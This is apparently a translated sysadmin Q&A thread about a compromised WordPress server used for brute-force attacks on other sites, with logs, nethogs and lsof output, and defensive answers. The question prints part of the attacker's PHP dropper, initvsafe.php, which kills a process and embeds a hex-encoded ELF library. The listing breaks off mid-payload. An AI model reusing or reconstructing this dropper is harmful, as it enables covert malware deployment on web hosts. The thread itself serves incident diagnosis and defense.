Ich bin ein Anfänger als Systemadministrator für eine Reihe virtualisierter Webserver. Vor Kurzem haben wir eine E-Mail erhalten, dass einer unserer Server für Brute-Force-Angriffe verwendet wird. Der Inhalt der E-Mail war ungefähr wie folgt.
Grüße,
Das Missbrauchsteam von /somehost/ möchte Sie darüber informieren, dass es massenhaft Brute-Force-Angriffe auf das Joomla/WordPress-Kontrollfeld auf unserem Shared-Hosting-Server /somehost/.ru /ip-number/ aus Ihrem Netzwerk, von der IP-Adresse /my-ip-address/, gab.
In den letzten 30 Minuten haben wir 1500 Versuche wie diesen aufgezeichnet:
/meine-IP-Adresse/ /ihre-Domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/meine-IP-Adresse/ /ihre-Domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/meine-IP-Adresse/ /ihre-Domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/meine-IP-Adresse/ /ihre-Domain/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/meine-IP-Adresse/ /ihre-Domain/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
Gesamtzahl der Versuche, die zuvor auf diesem Server (/some-host/.ru)[/their-ip/] aufgezeichnet wurden:
====
Diese Nachricht wurde automatisch vom Sicherheitssystem /some-company-name/ gesendet. Ihre E-Mail-Adresse wurde aus den öffentlichen WhoIs-Diensten bezogen. Wir entschuldigen uns für die Störung, falls Sie diese Nachricht versehentlich erhalten haben. Bitte kontaktieren Sie uns, falls Ihre E-Mail nicht zu dieser IP-Adresse oder diesem Netzwerk gehört.
====
Vielen Dank, /somehost/ Missbrauchsteam
http:// /somehost/ Punkt ru
/irgendeine Telefonnummer in Russland/,
/einige weitere Kontaktdaten in Russland/
- Was soll ich von dieser E-Mail halten? Handelt es sich hier um Betrug oder um eine wichtige Nachricht, die man nicht ignorieren sollte?
Ich finde es seltsam, dass sie „Joomla/Wordpress“ schreiben, wenn in ihren Protokollen offensichtlich zu sehen ist, dass „wp-login.php“ ein PHP-Skript von WordPress ist.
Auf unserem Server hosten wir mehrere WordPress-Blogs über Webmin/Virtualmin und einen von außen nicht erreichbaren Squid-Server.
Ich habe den Verkehr mit iftopund nethogseine Zeit lang beobachtet und kann nichts Verdächtiges erkennen. Das Squid-Zugriffsprotokoll erscheint mir normal.
Wir können im „sicheren“ Protokoll zahlreiche Anmeldeversuche auf unserem Server sehen, aber niemandem gelingt es, Zugriff zu erhalten.
Siehe folgenden Dump von Secure.
an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas
Und noch einer.
Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130
Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net
Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton
Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2
Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye
Bei "who" erkenne ich deutlich, dass nur ich per SSH eingeloggt bin.
Heute habe ich alle Webmin- und Virtualmin-Module und Squid auf die neuesten Versionen aktualisiert.
- Was sollten wir jetzt tun? Was sollten unsere nächsten Schritte sein, um den Server vor Angriffen zu schützen?
- Ist es überhaupt notwendig?
- Welche Protokolldateien oder Konfigurationen sollten wir ändern/ansehen?
BEARBEITEN:
Was ich bisher gemacht habe:
- Ich habe Dateien, die sich zum Zeitpunkt des Angriffs geändert haben (laut unserem Provider hatten wir fast 50 GB Datenverkehr auf unserer IP), mit geprüft
find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log. Es hat sich nichts geändert. - Ich habe AWStats für alle unsere Domänen überprüft. Laut AWStats wurde nicht einmal bei einer Domäne mehr als 40 MB übertragen.
- Am Tag des Angriffs war WordPress auf dem neuesten Stand.
- Ich habe alle Webmin- und Virtualmin-Module aktualisiert.
- Ich habe Squid aktualisiert und seinen Port auf etwas anderes als 3128 geändert. Ich habe nur 80, 443 und 21 als „sichere“ Ports belassen.
- Ich habe fail2ban aktualisiert.
Ich möchte den Server nicht vom Internet trennen, wie inWie gehe ich mit einem kompromittierten Server um?. Unsere Daten sind gesichert, also sind wir derzeit sicher. Ich würde jedoch gerne herausfinden, was den Angriff verursacht hat, aber das gelingt mir noch nicht.
EDIT 15.01.2014:
Mit nethogskonnte ich feststellen, dass /usr/bin/hostdeutlich mehr Daten empfangen und gesendet werden als erwartet.
NetHogs version 0.8.0
PID USER PROGRAM DEV SENT RECEIVED
10267 /domain//usr/bin/host eth0 120.571 791.124 KB/sec
30517 /domain/sshd: /domain/@pts/0 eth0 2.177 0.111 KB/sec
? root /ip-address/:39586-119.247.224.98:80 0.000 0.000 KB/sec
? root /ip-address/:55718-69.163.148.232:80 0.000 0.000 KB/sec
? root /ip-address/:38474-184.154.230.15:80 0.000 0.000 KB/sec
? root /ip-address/:46593-66.7.212.199:80 0.000 0.000 KB/sec
? root /ip-address/:58733-202.232.144.194:80 0.000 0.000 KB/sec
? root /ip-address/:41154-83.170.122.1:80 0.000 0.000 KB/sec
? root /ip-address/:39996-98.129.229.146:80 0.000 0.000 KB/sec
? root /ip-address/:39872-98.129.229.146:80 0.000 0.000 KB/sec
? root /ip-address/:37429-144.76.15.247:80 0.000 0.000 KB/sec
? root /ip-address/:35063-216.12.197.226:80 0.000 0.000 KB/sec
? root /ip-address/:51335-153.120.33.64:80 0.000 0.000 KB/sec
? root /ip-address/:58344-64.207.178.120:80 0.000 0.000 KB/sec
? root /ip-address/:55848-69.163.148.232:80 0.000 0.000 KB/sec
? root /ip-address/:46799-66.7.212.199:80 0.000 0.000 KB/sec
? root /ip-address/:38110-66.155.9.238:80 0.000 0.000 KB/sec
? root /ip-address/:39713-76.74.254.120:80 0.000 0.000 KB/sec
? root /ip-address/:33814-209.217.227.30:80 0.000 0.000 KB/sec
? root /ip-address/:41009-212.113.141.212:80 0.000 0.000 KB/sec
? root /ip-address/:57027-173.11.110.117:80 0.000 0.000 KB/sec
? root /ip-address/:45436-83.222.250.186:80 0.000 0.000 KB/sec
? root /ip-address/:59143-202.232.144.194:80 0.000 0.000 KB/sec
? root /ip-address/:43357-217.9.42.182:80 0.000 0.000 KB/sec
? root /ip-address/:32981-82.113.145.170:80 0.000 0.000 KB/sec
? root unknown TCP 0.000 0.000 KB/sec
TOTAL 122.749 791.235 KB/sec
Beim Ausführen lsofdes PID können Sie deutlich erkennen, dass mit der WordPress-Installation etwas nicht stimmt.
[root@/domain/ logs]# lsof | grep 1706
host 1706 /domain/ cwd DIR 253,0 4096 10178 /home//domain//public_html/wp-content/themes/twentyeleven
host 1706 /domain/ rtd DIR 253,0 4096 2 /
host 1706 /domain/ txt REG 253,0 137592 1054438 /usr/bin/host
host 1706 /domain/ mem REG 253,0 156928 1178048 /lib64/ld-2.12.so
host 1706 /domain/ mem REG 253,0 22536 1178065 /lib64/libdl-2.12.so
host 1706 /domain/ mem REG 253,0 1926800 1178057 /lib64/libc-2.12.so
host 1706 /domain/ mem REG 253,0 145896 1178061 /lib64/libpthread-2.12.so
host 1706 /domain/ mem REG 253,0 91096 1178098 /lib64/libz.so.1.2.3
host 1706 /domain/ mem REG 253,0 358560 1051774 /usr/lib64/libisc.so.83.0.3
host 1706 /domain/ mem REG 253,0 599384 1178963 /lib64/libm-2.12.so
host 1706 /domain/ mem REG 253,0 124624 1178074 /lib64/libselinux.so.1
host 1706 /domain/ mem REG 253,0 113952 1178072 /lib64/libresolv-2.12.so
host 1706 /domain/ mem REG 253,0 1674840 1050692 /usr/lib64/libdns.so.81.4.1
host 1706 /domain/ mem REG 253,0 140568 1051828 /usr/lib64/libisccfg.so.82.0.1
host 1706 /domain/ mem REG 253,0 34696 1051827 /usr/lib64/libisccc.so.80.0.0
host 1706 /domain/ mem REG 253,0 17256 1178085 /lib64/libcom_err.so.2.1
host 1706 /domain/ mem REG 253,0 1953536 1050724 /usr/lib64/libcrypto.so.1.0.1e
host 1706 /domain/ mem REG 253,0 12592 1178067 /lib64/libkeyutils.so.1.3
host 1706 /domain/ mem REG 253,0 46368 1178081 /lib64/libkrb5support.so.0.1
host 1706 /domain/ mem REG 253,0 19016 1178989 /lib64/libcap.so.2.16
host 1706 /domain/ mem REG 253,0 944712 1178089 /lib64/libkrb5.so.3.3
host 1706 /domain/ mem REG 253,0 177520 1178083 /lib64/libk5crypto.so.3.1
host 1706 /domain/ mem REG 253,0 209120 1180550 /lib64/libidn.so.11.6.1
host 1706 /domain/ mem REG 253,0 280520 1178096 /lib64/libgssapi_krb5.so.2.2
host 1706 /domain/ mem REG 253,0 52944 1051829 /usr/lib64/libbind9.so.80.0.4
host 1706 /domain/ mem REG 253,0 75936 1052874 /usr/lib64/liblwres.so.80.0.2
host 1706 /domain/ mem REG 253,0 21152 1178987 /lib64/libattr.so.1.1.0
host 1706 /domain/ mem REG 253,0 1383368 1051772 /usr/lib64/libxml2.so.2.7.6
host 1706 /domain/ DEL REG 253,0 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
host 1706 /domain/ mem REG 253,0 27424 1178071 /lib64/libnss_dns-2.12.so
host 1706 /domain/ mem REG 253,0 65928 1178073 /lib64/libnss_files-2.12.so
host 1706 /domain/ mem REG 253,0 12582912 11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0
host 1706 /domain/ DEL REG 253,0 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so
host 1706 /domain/ 0r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 1r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 2r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 3r CHR 1,3 0t0 3782 /dev/null
spamd 18546 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd 18548 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd 18549 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
Ich muss mir das ansehen home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so.
Einfach gesagt, alle Dateien, die sich im Januar 2014 geändert haben, sind nicht in der Standardinstallation des Twenty Eleven-Themes von WordPress enthalten. Es gibt beispielsweise ein Skript namens , initvsafe.phpmit dem Dateien im Dateisystem gespeichert werden können.
<?php
header("Content-type: text/plain");
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
@system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
...
Antwort1
Es ist wahrscheinlich legitim. Der Grund, warum nicht explizit WordPress erwähnt wird, ist, dass es sich um eine automatisierte Nachricht handelt – automatisch gesendet von einem Skript, das solche Angriffe erkennt und sie den Eigentümern der Quelle meldet.
Wenn Ihre Server gehackt wurden, würde ein Angreifer als Erstes modifizierte Binärdateien für who, ls und ähnliche Befehle installieren, um seine eigenen Aktivitäten zu verbergen. Und er würde seine Anmeldedaten aus den Protokollen löschen. Es ist also möglich, dass Sie kompromittiert wurden. Wie gehe ich mit einem kompromittierten Server um?beschreibt, was zu tun ist.
Höchstwahrscheinlich haben sie sich nicht über SSH Zugriff verschafft, sondern über etwas wie ein PHP-Skript, das als Proxy-Server fungiert. Überprüfen Sie alle Ihre Websites auf Dateien, die nicht dorthin gehören. Überprüfen Sie auch die Zugriffsprotokolle auf ungewöhnliche Aktivitäten. Suchen Sie nach veralteten (oder sogar aktuellen, aber mit gemeldeten Schwachstellen) Versionen von WordPress, phpmyadmin usw.
Antwort2
Sie sollten auch prüfen, ob rkhunter etwas Verdächtiges findet. Das eigentliche Problem ist, dass es sicherer sein kann, einen Server offline zu nehmen, wenn er einmal kompromittiert ist, insbesondere wenn Sie fail2ban und andere Pakete gepatcht haben, selbst wenn es nur darum geht, einige der Beweise (Protokolle) auf einen anderen Computer zu verschieben. Wie Grant erwähnte, können Sie nicht sicher sein, dass die Protokolle nicht manipuliert/gelöscht wurden, um irgendwelche Spuren zu verwischen, also gehen Sie vom Schlimmsten aus.
Möglicherweise möchten Sie auch einen Blick auf die Fail2ban-Protokolle werfen, um zu sehen, ob dort etwas Ungewöhnliches zu finden ist.
Möglicherweise möchten Sie auch einen kurzen Blick auf Teil 14.6 des Debian-Handbuchs werfen, der sich mit kompromittierten Systemen befasst.